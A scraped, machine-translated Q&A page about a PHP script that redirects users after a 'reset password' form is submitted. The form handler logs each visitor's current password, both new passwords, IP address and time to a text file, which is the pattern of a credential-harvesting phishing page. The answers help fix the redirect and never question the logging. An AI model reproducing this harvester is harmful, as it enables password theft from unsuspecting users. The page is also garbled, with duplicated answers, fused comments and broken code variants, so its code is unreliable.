Javascript 验证表单数据的PHP脚本
我有一个重置密码的表格。PHP脚本将所有3个密码存储在一个文本文件中。我知道这样做不安全,但这只是为了学习Javascript 验证表单数据的PHP脚本,javascript,php,html,Javascript,Php,Html,我有一个重置密码的表格。PHP脚本将所有3个密码存储在一个文本文件中。我知道这样做不安全,但这只是为了学习 <form action="login.php" method="POST" accept-charset="utf-8"> <p> <label for="id_current_password">Current password:</label> <input id="id_current_password" n
<form action="login.php" method="POST" accept-charset="utf-8">
<p>
<label for="id_current_password">Current password:</label>
<input id="id_current_password" name="current_password" type="password" />
</p>
<p>
<label for="id_new_password1">New password:</label>
<input id="id_new_password1" name="new_password1" type="password" />
</p>
<p>
<label for="id_new_password2">New password confirmation:</label>
<input id="id_new_password2" name="new_password2" type="password" />
</p>
<p>
<input type="submit" value="Reset Password">
</p>
</form>
当前密码:
新密码:
新密码确认:
此表单将这些密码发送到login.php
<?php
$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);
?>
<?php
date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
?>
if(($_POST['new_password1'])==($_POST['new_password2'])) {
<script>location.href='https://www.MYWEBSITE.com';</script>
} else {
<script>location.href='http://www.MYWEBSITEerror.com'</script>
}
如果($_POST['new_password1'])==($_POST['new_password2'])){
location.href=https://www.MYWEBSITE.com';
}否则{
location.href=http://www.MYWEBSITEerror.com'
}
我想知道,如果新密码不匹配,如何将用户重定向到错误网页,如果密码匹配,则应根据脚本将其重定向到网站。我知道echo和其他提醒用户的方法,但我特别想要这种方法。您可以使用的PHP函数代替:
您当前的代码无法工作,因为PHP标记中不能包含HTML代码,因为它将返回解析错误。要使其工作,您必须回显重定向部分:
if(($_POST['new_password1'])==($_POST['new_password2'])) {
echo "<script>location.href='https://www.MYWEBSITE.com';</script>";
} else {
echo "<script>location.href='http://www.MYWEBSITEerror.com'</script>";
}
if($\u POST['new\u password1'])==($\u POST['new\u password2'])){
echo“location.href=”https://www.MYWEBSITE.com';";
}否则{
echo“location.href=”http://www.MYWEBSITEerror.com'";
}
或者,您可以将
标记放在PHP标记之外:
// { ... }
fwrite($file, $data);
fclose($file);
if(($_POST['new_password1'])==($_POST['new_password2'])) {
?>
<script>location.href='https://www.MYWEBSITE.com';</script>
<?php
} else {
?>
<script>location.href='http://www.MYWEBSITEerror.com'</script>
<?php
}
?>
/{…}
fwrite($file,$data);
fclose($文件);
如果($_POST['new_password1'])==($_POST['new_password2'])){
?>
location.href=https://www.MYWEBSITE.com';
location.href=http://www.MYWEBSITEerror.com'
基本上,您应该将整个脚本格式化为只有一组PHP打开和关闭标记,不知道为什么没有很多
<?php
$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);
date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
if(($_POST['new_password1'])==($_POST['new_password2'])) {
<script>location.href='https://www.MYWEBSITE.com';</script>
} else {
<script>location.href='http://www.MYWEBSITEerror.com'</script>
}
?>
您可以使用的PHP函数代替:
您当前的代码无法工作,因为PHP标记中不能包含HTML代码,因为它将返回解析错误。要使其工作,您必须回显重定向部分:
if(($_POST['new_password1'])==($_POST['new_password2'])) {
echo "<script>location.href='https://www.MYWEBSITE.com';</script>";
} else {
echo "<script>location.href='http://www.MYWEBSITEerror.com'</script>";
}
if($\u POST['new\u password1'])==($\u POST['new\u password2'])){
echo“location.href=”https://www.MYWEBSITE.com';";
}否则{
echo“location.href=”http://www.MYWEBSITEerror.com'";
}
或者,您可以将
标记放在PHP标记之外:
// { ... }
fwrite($file, $data);
fclose($file);
if(($_POST['new_password1'])==($_POST['new_password2'])) {
?>
<script>location.href='https://www.MYWEBSITE.com';</script>
<?php
} else {
?>
<script>location.href='http://www.MYWEBSITEerror.com'</script>
<?php
}
?>
/{…}
fwrite($file,$data);
fclose($文件);
如果($_POST['new_password1'])==($_POST['new_password2'])){
?>
location.href=https://www.MYWEBSITE.com';
location.href=http://www.MYWEBSITEerror.com'
基本上,您应该将整个脚本格式化为只有一组PHP打开和关闭标记,不知道为什么没有很多
<?php
$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);
date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
if(($_POST['new_password1'])==($_POST['new_password2'])) {
<script>location.href='https://www.MYWEBSITE.com';</script>
} else {
<script>location.href='http://www.MYWEBSITEerror.com'</script>
}
?>
那么,什么“不”在这里起作用呢?您的if
语句似乎不在php标记的范围内?>if(($\u POST['new\u password1'])==($\u POST['new\u password2']){location.href=https://www.MYWEBSITE.com';}else{location.href='1http://www.MYWEBSITEerror.com“}
parse error就在那里。那么,“not”是什么呢在这里工作?您的if
语句似乎不在php标记的范围内?>if($\u POST['new\u password1'])==($\u POST['new\u password2']){location.href=https://www.MYWEBSITE.com';}else{location.href='1http://www.MYWEBSITEerror.com“}
parse error where.header()函数是正确的答案。但是你应该从php脚本的开头删除HTML代码。不要让任何空格出现在True之前,但是你没有看到/解释他们的代码失败的原因,这在这里是很明显的。@Fred ii-我更新了帖子,还添加了用于
的方法,谢谢!@Panda welcome.header()函数是正确的答案。但是你应该从php脚本的开头删除HTML代码。不要让任何空格出现在True之前,但是你没有看到/解释他们的代码失败的原因,这在这里是很明显的。@Fred ii-我更新了帖子,还添加了用于
的方法,谢谢!@Panda welcome。